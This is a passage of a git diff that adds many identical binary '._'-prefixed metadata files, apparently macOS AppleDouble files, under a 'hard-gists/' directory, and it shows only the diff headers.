mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cad6d3d223fc8d769227 differ diff --git a/hard-gists/._cadedd0dd0d4c966462b b/hard-gists/._cadedd0dd0d4c966462b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cadedd0dd0d4c966462b differ diff --git a/hard-gists/._caeb0a6dc89d9e7ec48d b/hard-gists/._caeb0a6dc89d9e7ec48d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._caeb0a6dc89d9e7ec48d differ diff --git a/hard-gists/._cb0833a03a7d30c6d6e0 b/hard-gists/._cb0833a03a7d30c6d6e0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cb0833a03a7d30c6d6e0 differ diff --git a/hard-gists/._cb2b90523c592abe7ae4 b/hard-gists/._cb2b90523c592abe7ae4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cb2b90523c592abe7ae4 differ diff --git a/hard-gists/._cb5a28fa8d4db3fc1ba51894663c1aed b/hard-gists/._cb5a28fa8d4db3fc1ba51894663c1aed new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cb5a28fa8d4db3fc1ba51894663c1aed differ diff --git a/hard-gists/._cb5d8157a8fa5a4a046e b/hard-gists/._cb5d8157a8fa5a4a046e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cb5d8157a8fa5a4a046e differ diff --git a/hard-gists/._cc0ac48d34860c5bb3f9112f4d9a0300 b/hard-gists/._cc0ac48d34860c5bb3f9112f4d9a0300 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cc0ac48d34860c5bb3f9112f4d9a0300 differ diff --git a/hard-gists/._cc3c187172ac848bd896ecb2b812dc51 b/hard-gists/._cc3c187172ac848bd896ecb2b812dc51 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cc3c187172ac848bd896ecb2b812dc51 differ diff --git a/hard-gists/._cc63e6aa9a88ea6e901f b/hard-gists/._cc63e6aa9a88ea6e901f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cc63e6aa9a88ea6e901f differ diff --git a/hard-gists/._cc704ba2a96e4a319e9e b/hard-gists/._cc704ba2a96e4a319e9e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cc704ba2a96e4a319e9e differ diff --git a/hard-gists/._cc8647960afeb2c15a6061d7ab7e594e b/hard-gists/._cc8647960afeb2c15a6061d7ab7e594e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cc8647960afeb2c15a6061d7ab7e594e differ diff --git a/hard-gists/._cd045c3663f0fe2cd0e92d88a8ae2274 b/hard-gists/._cd045c3663f0fe2cd0e92d88a8ae2274 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cd045c3663f0fe2cd0e92d88a8ae2274 differ diff --git a/hard-gists/._cd19a20d2e712f61d2ea b/hard-gists/._cd19a20d2e712f61d2ea new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cd19a20d2e712f61d2ea differ diff --git a/hard-gists/._cd72af254e50e01ae763 b/hard-gists/._cd72af254e50e01ae763 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cd72af254e50e01ae763 differ diff --git a/hard-gists/._cd9a1a7c969c06eaae8b b/hard-gists/._cd9a1a7c969c06eaae8b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cd9a1a7c969c06eaae8b differ diff --git a/hard-gists/._cdf79835a0e30a9cbdeaaf2eb4151077 b/hard-gists/._cdf79835a0e30a9cbdeaaf2eb4151077 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cdf79835a0e30a9cbdeaaf2eb4151077 differ diff --git a/hard-gists/._ce5ebb37390ab0ae56c9e6e80128fdc2 b/hard-gists/._ce5ebb37390ab0ae56c9e6e80128fdc2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ce5ebb37390ab0ae56c9e6e80128fdc2 differ diff --git a/hard-gists/._ce648166902041fbc613 b/hard-gists/._ce648166902041fbc613 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ce648166902041fbc613 differ diff --git a/hard-gists/._cf2b4e56fe28835c3ceb b/hard-gists/._cf2b4e56fe28835c3ceb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cf2b4e56fe28835c3ceb differ diff --git a/hard-gists/._cf4b324f8955bc56ce0ff9399d9fdea6 b/hard-gists/._cf4b324f8955bc56ce0ff9399d9fdea6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cf4b324f8955bc56ce0ff9399d9fdea6 differ diff --git a/hard-gists/._cfaad5763fb7471aed85 b/hard-gists/._cfaad5763fb7471aed85 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cfaad5763fb7471aed85 differ diff --git a/hard-gists/._cfc9f059459cfefd1f61134b48291436 b/hard-gists/._cfc9f059459cfefd1f61134b48291436 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._cfc9f059459cfefd1f61134b48291436 differ diff --git a/hard-gists/._d039e69e97afbf1b863b b/hard-gists/._d039e69e97afbf1b863b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d039e69e97afbf1b863b differ diff --git a/hard-gists/._d03a49767c7c307be5ed b/hard-gists/._d03a49767c7c307be5ed new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d03a49767c7c307be5ed differ diff --git a/hard-gists/._d049a307a271052dc740 b/hard-gists/._d049a307a271052dc740 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d049a307a271052dc740 differ diff --git a/hard-gists/._d0bb1f94cda69a5e7c96d1742cc5adca b/hard-gists/._d0bb1f94cda69a5e7c96d1742cc5adca new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d0bb1f94cda69a5e7c96d1742cc5adca differ diff --git a/hard-gists/._d100a028027c5a6b8340 b/hard-gists/._d100a028027c5a6b8340 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d100a028027c5a6b8340 differ diff --git a/hard-gists/._d11c77c5565482e965d1919291044470 b/hard-gists/._d11c77c5565482e965d1919291044470 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d11c77c5565482e965d1919291044470 differ diff --git a/hard-gists/._d1351610477840bbbb72 b/hard-gists/._d1351610477840bbbb72 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d1351610477840bbbb72 differ diff --git a/hard-gists/._d1426ffad93b786e035e b/hard-gists/._d1426ffad93b786e035e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d1426ffad93b786e035e differ diff --git a/hard-gists/._d14e424540faedb3ea88 b/hard-gists/._d14e424540faedb3ea88 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d14e424540faedb3ea88 differ diff --git a/hard-gists/._d1899f011ae41b26fb6e b/hard-gists/._d1899f011ae41b26fb6e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d1899f011ae41b26fb6e differ diff --git a/hard-gists/._d1af2b73d38fbceee5c848fc9cf641ce b/hard-gists/._d1af2b73d38fbceee5c848fc9cf641ce new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d1af2b73d38fbceee5c848fc9cf641ce differ diff --git a/hard-gists/._d29d079100f8d81b905e b/hard-gists/._d29d079100f8d81b905e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d29d079100f8d81b905e differ diff --git a/hard-gists/._d2c38170d4beceeb32dc b/hard-gists/._d2c38170d4beceeb32dc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d2c38170d4beceeb32dc differ diff --git a/hard-gists/._d37ab1524a7d5e373ee5a2a0176ebd22 b/hard-gists/._d37ab1524a7d5e373ee5a2a0176ebd22 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d37ab1524a7d5e373ee5a2a0176ebd22 differ diff --git a/hard-gists/._d3bf8d7a1867aed16d30 b/hard-gists/._d3bf8d7a1867aed16d30 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d3bf8d7a1867aed16d30 differ diff --git a/hard-gists/._d3d4123985ffea996781 b/hard-gists/._d3d4123985ffea996781 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d3d4123985ffea996781 differ diff --git a/hard-gists/._d4175526801c6e7bddee b/hard-gists/._d4175526801c6e7bddee new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d4175526801c6e7bddee differ diff --git a/hard-gists/._d44132ae3bdcc0ca96a9f9f84d6d3463 b/hard-gists/._d44132ae3bdcc0ca96a9f9f84d6d3463 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d44132ae3bdcc0ca96a9f9f84d6d3463 differ diff --git a/hard-gists/._d44fde5d323473ce8be7 b/hard-gists/._d44fde5d323473ce8be7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d44fde5d323473ce8be7 differ diff --git a/hard-gists/._d45259ce3f8e4c226846d2f31bf719f5 b/hard-gists/._d45259ce3f8e4c226846d2f31bf719f5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d45259ce3f8e4c226846d2f31bf719f5 differ diff --git a/hard-gists/._d49f6fd44b9e690a6ac5 b/hard-gists/._d49f6fd44b9e690a6ac5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d49f6fd44b9e690a6ac5 differ diff --git a/hard-gists/._d4d90bc5b8fb9a56fa2d4f2383a2eda7 b/hard-gists/._d4d90bc5b8fb9a56fa2d4f2383a2eda7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d4d90bc5b8fb9a56fa2d4f2383a2eda7 differ diff --git a/hard-gists/._d4fc31bc09e8b0756569a416aede330b b/hard-gists/._d4fc31bc09e8b0756569a416aede330b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d4fc31bc09e8b0756569a416aede330b differ diff --git a/hard-gists/._d4ffebb452fe738b8aaa8005fc08a068 b/hard-gists/._d4ffebb452fe738b8aaa8005fc08a068 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d4ffebb452fe738b8aaa8005fc08a068 differ diff --git a/hard-gists/._d52d9ba44541fabaf4b012f4e62d675b b/hard-gists/._d52d9ba44541fabaf4b012f4e62d675b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d52d9ba44541fabaf4b012f4e62d675b differ diff --git a/hard-gists/._d592394c0cedd32513f8fbb87ca05938 b/hard-gists/._d592394c0cedd32513f8fbb87ca05938 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d592394c0cedd32513f8fbb87ca05938 differ diff --git a/hard-gists/._d5da6f4b29a844a5865a b/hard-gists/._d5da6f4b29a844a5865a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d5da6f4b29a844a5865a differ diff --git a/hard-gists/._d64234a093e223e319d2d7a104d4b85e b/hard-gists/._d64234a093e223e319d2d7a104d4b85e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d64234a093e223e319d2d7a104d4b85e differ diff --git a/hard-gists/._d6428881f451097f329e b/hard-gists/._d6428881f451097f329e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d6428881f451097f329e differ diff --git a/hard-gists/._d68467b87bc50e04c41e b/hard-gists/._d68467b87bc50e04c41e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d68467b87bc50e04c41e differ diff --git a/hard-gists/._d692487c9ed35938da376f3b58d91206 b/hard-gists/._d692487c9ed35938da376f3b58d91206 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d692487c9ed35938da376f3b58d91206 differ diff --git a/hard-gists/._d6aa922505c4e5f21f2f b/hard-gists/._d6aa922505c4e5f21f2f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d6aa922505c4e5f21f2f differ diff --git a/hard-gists/._d6cd0fb8c85e1547c3c60f95f5b2d5e1 b/hard-gists/._d6cd0fb8c85e1547c3c60f95f5b2d5e1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d6cd0fb8c85e1547c3c60f95f5b2d5e1 differ diff --git a/hard-gists/._d6cdb809115ecf46d5fea5a458c4dada b/hard-gists/._d6cdb809115ecf46d5fea5a458c4dada new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d6cdb809115ecf46d5fea5a458c4dada differ diff --git a/hard-gists/._d6eb474543c32eb33504 b/hard-gists/._d6eb474543c32eb33504 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d6eb474543c32eb33504 differ diff --git a/hard-gists/._d710f2751428975448a4 b/hard-gists/._d710f2751428975448a4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d710f2751428975448a4 differ diff --git a/hard-gists/._d76eb4f4eea0320bb35dcd1b2a4575ee b/hard-gists/._d76eb4f4eea0320bb35dcd1b2a4575ee new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d76eb4f4eea0320bb35dcd1b2a4575ee differ diff --git a/hard-gists/._d85b17e6e13fd8dcad7cf51d1c6b3a1c b/hard-gists/._d85b17e6e13fd8dcad7cf51d1c6b3a1c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d85b17e6e13fd8dcad7cf51d1c6b3a1c differ diff --git a/hard-gists/._d883c3fe1402c7ced6fc b/hard-gists/._d883c3fe1402c7ced6fc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d883c3fe1402c7ced6fc differ diff --git a/hard-gists/._d887f01c563a60554360bb5ae07cd1b0 b/hard-gists/._d887f01c563a60554360bb5ae07cd1b0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d887f01c563a60554360bb5ae07cd1b0 differ diff --git a/hard-gists/._d8e8d65d0418886c47d0 b/hard-gists/._d8e8d65d0418886c47d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d8e8d65d0418886c47d0 differ diff --git a/hard-gists/._d91a0983140acbb8bc6455f58cbf45cb b/hard-gists/._d91a0983140acbb8bc6455f58cbf45cb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d91a0983140acbb8bc6455f58cbf45cb differ diff --git a/hard-gists/._d97eb37da84ce7329de6 b/hard-gists/._d97eb37da84ce7329de6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d97eb37da84ce7329de6 differ diff --git a/hard-gists/._d9ef555fb7ef5498c709 b/hard-gists/._d9ef555fb7ef5498c709 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._d9ef555fb7ef5498c709 differ diff --git a/hard-gists/._da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c b/hard-gists/._da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c differ diff --git a/hard-gists/._da582d745fa2bf0ddd8f5f7480042291 b/hard-gists/._da582d745fa2bf0ddd8f5f7480042291 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._da582d745fa2bf0ddd8f5f7480042291 differ diff --git a/hard-gists/._da673e7cd79d0b6899b9bd6a68c860d0 b/hard-gists/._da673e7cd79d0b6899b9bd6a68c860d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._da673e7cd79d0b6899b9bd6a68c860d0 differ diff --git a/hard-gists/._da6c11fad0fc1966aa057e62bacccb2d b/hard-gists/._da6c11fad0fc1966aa057e62bacccb2d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._da6c11fad0fc1966aa057e62bacccb2d differ diff --git a/hard-gists/._daef0b34ec5af6f026af52d593131c64 b/hard-gists/._daef0b34ec5af6f026af52d593131c64 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._daef0b34ec5af6f026af52d593131c64 differ diff --git a/hard-gists/._db030013e981c46acb2886060dde607e b/hard-gists/._db030013e981c46acb2886060dde607e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._db030013e981c46acb2886060dde607e differ diff --git a/hard-gists/._db051ab5105c5af5401aa5ef8739ada9 b/hard-gists/._db051ab5105c5af5401aa5ef8739ada9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._db051ab5105c5af5401aa5ef8739ada9 differ diff --git a/hard-gists/._db5ec4ce7c1dbaae4707 b/hard-gists/._db5ec4ce7c1dbaae4707 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._db5ec4ce7c1dbaae4707 differ diff --git a/hard-gists/._db709c8c1279348e0638 b/hard-gists/._db709c8c1279348e0638 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._db709c8c1279348e0638 differ diff --git a/hard-gists/._db7b6db7035dd48e5902 b/hard-gists/._db7b6db7035dd48e5902 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._db7b6db7035dd48e5902 differ diff --git a/hard-gists/._db972e738cfacdf8055f b/hard-gists/._db972e738cfacdf8055f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._db972e738cfacdf8055f differ diff --git a/hard-gists/._dbb593a597acb2c0b93b b/hard-gists/._dbb593a597acb2c0b93b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dbb593a597acb2c0b93b differ diff --git a/hard-gists/._dbec2584e7508cbfc79e b/hard-gists/._dbec2584e7508cbfc79e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dbec2584e7508cbfc79e differ diff --git a/hard-gists/._dc176cdb29efd826e8c748e7f96933f0 b/hard-gists/._dc176cdb29efd826e8c748e7f96933f0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dc176cdb29efd826e8c748e7f96933f0 differ diff --git a/hard-gists/._dc3257b6a44da3d8fd05 b/hard-gists/._dc3257b6a44da3d8fd05 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dc3257b6a44da3d8fd05 differ diff --git a/hard-gists/._dc36e180d1888629cf33 b/hard-gists/._dc36e180d1888629cf33 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dc36e180d1888629cf33 differ diff --git a/hard-gists/._dc61c42aa4e89e139cd8248f59af6b3e b/hard-gists/._dc61c42aa4e89e139cd8248f59af6b3e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dc61c42aa4e89e139cd8248f59af6b3e differ diff --git a/hard-gists/._dc673da0c531c7a6059b b/hard-gists/._dc673da0c531c7a6059b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dc673da0c531c7a6059b differ diff --git a/hard-gists/._dccc1c4fdcf1c7a31757168b19c827a7 b/hard-gists/._dccc1c4fdcf1c7a31757168b19c827a7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dccc1c4fdcf1c7a31757168b19c827a7 differ diff --git a/hard-gists/._dd1538665994b48972a62966b4369354 b/hard-gists/._dd1538665994b48972a62966b4369354 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dd1538665994b48972a62966b4369354 differ diff --git a/hard-gists/._dde829f94a8f83bfa922090102449fde b/hard-gists/._dde829f94a8f83bfa922090102449fde new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dde829f94a8f83bfa922090102449fde differ diff --git a/hard-gists/._ddf6aaa6b3d37f602fedfd38c9af9d49 b/hard-gists/._ddf6aaa6b3d37f602fedfd38c9af9d49 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ddf6aaa6b3d37f602fedfd38c9af9d49 differ diff --git a/hard-gists/._de1383080e9f8fb7d208 b/hard-gists/._de1383080e9f8fb7d208 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._de1383080e9f8fb7d208 differ diff --git a/hard-gists/._de1726bfc7330b2c9b2a b/hard-gists/._de1726bfc7330b2c9b2a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._de1726bfc7330b2c9b2a differ diff --git a/hard-gists/._de22705b5f7ef778806b b/hard-gists/._de22705b5f7ef778806b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._de22705b5f7ef778806b differ diff --git a/hard-gists/._de261e66949009f44ad2 b/hard-gists/._de261e66949009f44ad2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._de261e66949009f44ad2 differ diff --git a/hard-gists/._de3ab9cb8bb4b7719571 b/hard-gists/._de3ab9cb8bb4b7719571 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._de3ab9cb8bb4b7719571 differ diff --git a/hard-gists/._de546cb143ebae4a489a482a05ab4beb b/hard-gists/._de546cb143ebae4a489a482a05ab4beb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._de546cb143ebae4a489a482a05ab4beb differ diff --git a/hard-gists/._dedc857cdc0e680dfb1be99762990c9c b/hard-gists/._dedc857cdc0e680dfb1be99762990c9c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dedc857cdc0e680dfb1be99762990c9c differ diff --git a/hard-gists/._df0b30453338946e639449710862822d b/hard-gists/._df0b30453338946e639449710862822d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._df0b30453338946e639449710862822d differ diff --git a/hard-gists/._df47cd6aea9eeac153ff b/hard-gists/._df47cd6aea9eeac153ff new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._df47cd6aea9eeac153ff differ diff --git a/hard-gists/._df919538bcef391bc89f b/hard-gists/._df919538bcef391bc89f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._df919538bcef391bc89f differ diff --git a/hard-gists/._df9ad5ef01d16c02d68d9a8c17c75b73 b/hard-gists/._df9ad5ef01d16c02d68d9a8c17c75b73 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._df9ad5ef01d16c02d68d9a8c17c75b73 differ diff --git a/hard-gists/._dfca335e370a2bc3bc79876e6270099e b/hard-gists/._dfca335e370a2bc3bc79876e6270099e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dfca335e370a2bc3bc79876e6270099e differ diff --git a/hard-gists/._dfd7eb0ce2915d004367 b/hard-gists/._dfd7eb0ce2915d004367 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dfd7eb0ce2915d004367 differ diff --git a/hard-gists/._dffb8de093502b153e85 b/hard-gists/._dffb8de093502b153e85 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._dffb8de093502b153e85 differ diff --git a/hard-gists/._e0defc252f665b2b51e8 b/hard-gists/._e0defc252f665b2b51e8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e0defc252f665b2b51e8 differ diff --git a/hard-gists/._e11b546d6ba9ebc2b604 b/hard-gists/._e11b546d6ba9ebc2b604 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e11b546d6ba9ebc2b604 differ diff --git a/hard-gists/._e196107b5e0afc834652bd3153030c42 b/hard-gists/._e196107b5e0afc834652bd3153030c42 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e196107b5e0afc834652bd3153030c42 differ diff --git a/hard-gists/._e1b58ad5ff33c697ae83d83fdbab76e4 b/hard-gists/._e1b58ad5ff33c697ae83d83fdbab76e4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e1b58ad5ff33c697ae83d83fdbab76e4 differ diff --git a/hard-gists/._e1e011652b297d13b3ac3f99fd11b2bc b/hard-gists/._e1e011652b297d13b3ac3f99fd11b2bc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e1e011652b297d13b3ac3f99fd11b2bc differ diff --git a/hard-gists/._e223622e255bd5b8c9130407397a0494 b/hard-gists/._e223622e255bd5b8c9130407397a0494 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e223622e255bd5b8c9130407397a0494 differ diff --git a/hard-gists/._e28813c1e8721830ff9c b/hard-gists/._e28813c1e8721830ff9c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e28813c1e8721830ff9c differ diff --git a/hard-gists/._e294562759ff2755486e b/hard-gists/._e294562759ff2755486e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e294562759ff2755486e differ diff --git a/hard-gists/._e2af6270cc9563cca197 b/hard-gists/._e2af6270cc9563cca197 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e2af6270cc9563cca197 differ diff --git a/hard-gists/._e2ef822c744357a4ed16ec0c885100a3 b/hard-gists/._e2ef822c744357a4ed16ec0c885100a3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e2ef822c744357a4ed16ec0c885100a3 differ diff --git a/hard-gists/._e3433ebba20c92b63111 b/hard-gists/._e3433ebba20c92b63111 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e3433ebba20c92b63111 differ diff --git a/hard-gists/._e3556f0089e89970bf9b b/hard-gists/._e3556f0089e89970bf9b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e3556f0089e89970bf9b differ diff --git a/hard-gists/._e37887e81cee51ab2dc70d16780ae942 b/hard-gists/._e37887e81cee51ab2dc70d16780ae942 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e37887e81cee51ab2dc70d16780ae942 differ diff --git a/hard-gists/._e37a85fb0258b045c005ca3db9cbc7f6 b/hard-gists/._e37a85fb0258b045c005ca3db9cbc7f6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e37a85fb0258b045c005ca3db9cbc7f6 differ diff --git a/hard-gists/._e38e0588bf6d8f32e99d b/hard-gists/._e38e0588bf6d8f32e99d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e38e0588bf6d8f32e99d differ diff --git a/hard-gists/._e3a91e46df24e0c24eb656c89373c20d b/hard-gists/._e3a91e46df24e0c24eb656c89373c20d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e3a91e46df24e0c24eb656c89373c20d differ diff --git a/hard-gists/._e3b59913d71d82a03eda b/hard-gists/._e3b59913d71d82a03eda new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e3b59913d71d82a03eda differ diff --git a/hard-gists/._e41abdd59c5308eacf84 b/hard-gists/._e41abdd59c5308eacf84 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e41abdd59c5308eacf84 differ diff --git a/hard-gists/._e4907ccc9f6c1bb49b17 b/hard-gists/._e4907ccc9f6c1bb49b17 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e4907ccc9f6c1bb49b17 differ diff --git a/hard-gists/._e522b44a1dc7d3a388d4386d416747f5 b/hard-gists/._e522b44a1dc7d3a388d4386d416747f5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e522b44a1dc7d3a388d4386d416747f5 differ diff --git a/hard-gists/._e530dc9767d8f83c08f3582c71a5cbc8 b/hard-gists/._e530dc9767d8f83c08f3582c71a5cbc8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e530dc9767d8f83c08f3582c71a5cbc8 differ diff --git a/hard-gists/._e53a70f9e5c3f55852b0 b/hard-gists/._e53a70f9e5c3f55852b0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e53a70f9e5c3f55852b0 differ diff --git a/hard-gists/._e542b181be28d168ba177c9b8e3787b6 b/hard-gists/._e542b181be28d168ba177c9b8e3787b6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e542b181be28d168ba177c9b8e3787b6 differ diff --git a/hard-gists/._e5fe0a832872c2b1cebe473c7cf6fb07 b/hard-gists/._e5fe0a832872c2b1cebe473c7cf6fb07 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e5fe0a832872c2b1cebe473c7cf6fb07 differ diff --git a/hard-gists/._e61631ea83c958befa5db92f8bde527d b/hard-gists/._e61631ea83c958befa5db92f8bde527d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e61631ea83c958befa5db92f8bde527d differ diff --git a/hard-gists/._e625e7ba482efdb670501cf401a2b6e9 b/hard-gists/._e625e7ba482efdb670501cf401a2b6e9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._e625e7ba482efdb670501cf401a2b6e9 differ diff --git 